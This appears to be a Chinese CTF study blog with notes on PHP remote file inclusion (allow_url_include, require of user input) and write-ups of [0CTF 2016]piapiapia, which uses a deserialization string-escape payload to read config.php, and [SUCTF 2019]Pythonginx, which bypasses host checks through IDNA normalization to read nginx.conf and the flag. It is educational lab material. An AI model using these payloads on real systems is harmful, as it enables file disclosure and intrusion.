文件包含
看了看国光大佬出的题!


index.php
index.php <?php if(!isset($_GET['file'])){ echo "text-aliplay"; } ?>
<?php if($_GET['file'] == 'test.php'){ echo "text-aliplay"; } ?> <?php error_reporting(0); $page = $_GET['file']; if($page) { require($page); } else { require('page.php'); } ?>
|
tcl:
先去了解下:allow_url_include和allow_url_fopen
allow_url_include和allow_url_fopen
allow_url_fopen
boolean
本选项激活了 URL 形式的 fopen 封装协议使得可以访问 URL 对象例如文件。默认的封装协议提供用 ftp 和 http 协议来访问远程文件,一些扩展库例如 zlib 可能会注册更多的封装协议
allow_url_include
boolean
This option allows the use of URL-aware fopen wrappers with the following functions: include, include_once, require, require_once.
注意:
This setting requires allow_url_fopen to be on.
allow_url_fopen
在php.ini中开启后,允许使用file,fopen,file_get_contents打开远程url文件
allow_url_include
开启后,允许 include,REQUEST函数可以包含远程url文件
从PHP5.2开始allow_url_include就默认为Off了,而allow_url_fopen一直是On的!
实验
只开启:allow_url_fopen
我们可以知道file,fopen,file_get_contents这些函数不会执行php代码!只是让他们可以用url的形式接收数据!

show_source(): http:// wrapper is disabled in the server configuration by allow_url_include=0 i
日了!show_source()他也必须开启allow_url_include!
那我就拿file_get_contents做实验!
发现个好玩的!
输入本地的tt.php发现执行不了!

但是:当我输入:?file=http://1.1.1.1/2.php
居然执行了!
这就是allow_url_fopen原因!它把url当成文件处理了!
php5|7都是一样!
自己又总结了下:
实验得出的结论:
就是:无论allow_url_fopen和allow_url_include开不开! 本地里!像那些:file_get_contents|file|readfile等函数都不会执行本地的php代码!
但是当你打开allow_url_fopen,让这些函数可以以url的形式打开文件时! 这些函数就会把你输入php文件执行!下面有图: 不是php文件就平常一样获取数据!
|


扯远了!感觉没啥用这东西!
只需要知道开启allow_url_fopen就可以以url的形式在函数里打开文件!
开启:allow_url_fopen 和allow_url_include
如果想要include,REQUEST函数可以包含远程url文件时!allow_url_fopen必须先开!


这里重点讲下常用的伪协议:

[0CTF 2016]piapiapia

先代码审计!
if(preg_match('/[^a-zA-Z0-9_]/', $_POST['nickname']) || strlen($_POST['nickname']) > 10) die('Invalid nickname');
|

只要是数组那就可以逃过die(‘Invalid nickname’);!
反序列化字符逃逸!
反序列化字符逃逸!tnl!每次代码审计一头雾水!题出的不错!
先在本地看序列化字符串!
有源码我也搭不起来原环境!有点问题!不知道为啥本地会报错!和数据库建立不了联系!
反序列化字符逃逸:
$safe = array('select', 'insert', 'update', 'delete', 'where'); $safe = '/' . implode('|', $safe) . '/i'; return preg_replace($safe, 'hacker', $string);
|
当where变成hacker时变短了1位!借助这个点!可以逃逸!

a:4:{s:5:"phone";s:11:"66666666666";s:5:"email";s:10:"666@qq.com";s:8:"nickname";s:4:"aaaa";s:5:"photo";s:39:"upload/af6f4397ef14747a05a530270c618ce3";}
|
再看一下数组绕过后的序列化字符串!

a:4:{s:5:"phone";s:11:"66666666666";s:5:"email";s:10:"111@qq.com";s:8:"nickname";a:1:{i:0;s:4:"aaaa";}s:5:"photo";s:39:"upload/af6f4397ef14747a05a530270c618ce3";}
|
需要添加的内容: s:5:"photo";s:10:"config.php";} 长31
";}s:5:"photo";s:10:"config.php";} 34
wherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewhere";}s:5:"photo";s:10:"config.php";}
替换后: hackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhacker";}s:5:"photo";s:10:"config.php";}
a:4:{s:5:"phone";s:11:"66666666666";s:5:"email";s:10:"111@qq.com";s:8:"nickname";a:1:{i:0;s:204:"wherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewhere";}s:5:"photo";s:10:"config.php";}";}s:5:"photo";s:39:"upload/af6f4397ef14747a05a530270c618ce3";}
a:4:{s:5:"phone";s:11:"66666666666";s:5:"email";s:10:"666@qq.com";s:8:"nickname";s:204:"hackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhacker";}s:5:"photo";s:10:"config.php";}";s:5:"photo";s:39:"upload/af6f4397ef14747a05a530270c618ce3";}
|
<?php
$a="where"; for ($i=1; $i <=33 ; $i++) { $a.="where"; }
echo $a;
|


[SUCTF 2019]Pythonginx
Docker 镜像加速
https://www.runoob.com/docker/docker-mirror-acceleration.html
搭环境:
https://github.com/team-su/SUCTF-2019/tree/master/Web/pythonginx
保留了原来的!怕把docker坏了! { "registry-mirrors": ["https://docker.mirrors.ustc.edu.cn"] }
|

自己搭的环境咋感觉!怎么c呢!
@app.route('/getUrl', methods=['GET', 'POST']) def getUrl(): url = request.args.get("url") host = parse.urlparse(url).hostname if host == 'suctf.cc': return "我扌 your problem? 111" parts = list(urlsplit(url)) host = parts[1] if host == 'suctf.cc': return "我扌 your problem? 222 " + host newhost = [] for h in host.split('.'): newhost.append(h.encode('idna').decode('utf-8')) parts[1] = '.'.join(newhost) finalUrl = urlunsplit(parts).split(' ')[0] host = parse.urlparse(finalUrl).hostname if host == 'suctf.cc': return urllib.request.urlopen(finalUrl).read() else: return "我扌 your problem? 333"
|

先代码审计python之web模块学习– urlparse:
先去了解下py:😥
Python 中 urlparse 模块介绍
https://www.jianshu.com/p/8f23837210b9
1.urlparse.urlparse
将url分为6个部分,返回一个包含6个字符串项目的元组:协议、位置、路径、参数、查询、片段。
import urlparse url_change = urlparse.urlparse('https: print url_change
|
输出结果为:
ParseResult(scheme='https', netloc='i.cnblogs.com', path='/EditPosts.aspx', params='', query='opt=1', fragment='')
就是把url分开了!
Python编程:urlsplit, urlparse简单区别
https://blog.csdn.net/mouday/article/details/85613666
顾名思义,urlsplit
是拆分,而urlparse
是解析,所以urlparse
粒度更为细致
区别
split函数在分割的时候,path和params属性是在一起的
代码示例
from urllib.parse import urlsplit, urlparse
url = "https://username:password@www.baidu.com:80/index.html;parameters?name=tom#example"
print(urlsplit(url)) """ SplitResult( scheme='https', netloc='username:password@www.baidu.com:80', path='/index.html;parameters', query='name=tom', fragment='example') """
print(urlparse(url)) """ ParseResult( scheme='https', netloc='username:password@www.baidu.com:80', path='/index.html', params='parameters', query='name=tom', fragment='example' ) """
|
python之web模块学习– urlparse:
https://blog.51cto.com/yucanghai/1695439
总结:
简单的说就是把url拆了,urlparse,urlsplit,
再把url还原!urlunsplit
前两个判断 host 是否是 suctf.cc ,如果不是才能继续。然后第三个经过了 decode(‘utf-8’) 之后传进了 urlunsplit 函数,在第三个判断中又必须要等于 suctf.cc 才行。
直接构造!
考的是一个cve!
😍
CVE-2019-9636:urlsplit不处理NFKC标准化
cve讲解:
chrome-extension://bocbaocobfecmglnmeaeppambideimao/pdf/viewer.html?file=https%3A%2F%2Fi.blackhat.com%2FUSA-19%2FThursday%2Fus-19-Birch-HostSplit-Exploitable-Antipatterns-In-Unicode-Normalization.pdf


就是通过IDNA加密后再加密解密就会发生变化!
exp:
看大佬的:
for i in range(128,65537): tmp=chr(i) try: res = tmp.encode('idna').decode('utf-8') if("-") in res: continue print("U:{} A:{} ascii:{} ".format(tmp, res, i)) except: pass U:℀ A:a/c ascii:8448 U:ℂ A:c ascii:8450
|
考点是nginx!:
nginx
- nginx配置
配置文件存放目录:/etc/nginx
主配置文件:/etc/nginx/conf/nginx.conf
管理脚本:/usr/lib64/systemd/system/nginx.service
模块:/usr/lisb64/nginx/modules
应用程序:/usr/sbin/nginx
程序默认存放位置:/usr/share/nginx/html
日志默认存放位置:/var/log/nginx
配置文件目录为:/usr/local/nginx/conf/nginx.conf
payload:
file://suctf.c℆sr/local/nginx/conf/nginx.conf
file://suctf.cℂ/usr/local/nginx/conf/nginx.conf
发现就可以看成: file://suctf.cc/usr/local/nginx/conf/nginx.conf ℆可以理解成小写的c/u😁😊😊 ℂ小写的c 哈哈哈字符串拼接!!!
file://suctf.c℆sr/fffffflag
|
非预期
师傅们tql!
题目代码里通过urlparse和urlsplit来判断里面有没有 suctf.cc
再urlunsplit和urlparse判断里面有没有 suctf.cc
通过urlsplit和urlunsplit再urlparse我们可以构造:
from urllib.parse import urlsplit,urlunsplit, unquote,urlparse from urllib import parse
url = "file:////suctf.cc/usr/local/nginx/conf/nginx.conf" parts = parse.urlsplit(url)
print(parts)
url2 = urlunsplit(parts) parts2 = parse.urlsplit(url2)
print(parts2)
|


file:////suctf.cc/usr/local/nginx/conf/nginx.conf file:////suctf.cc/usr/fffffflag
|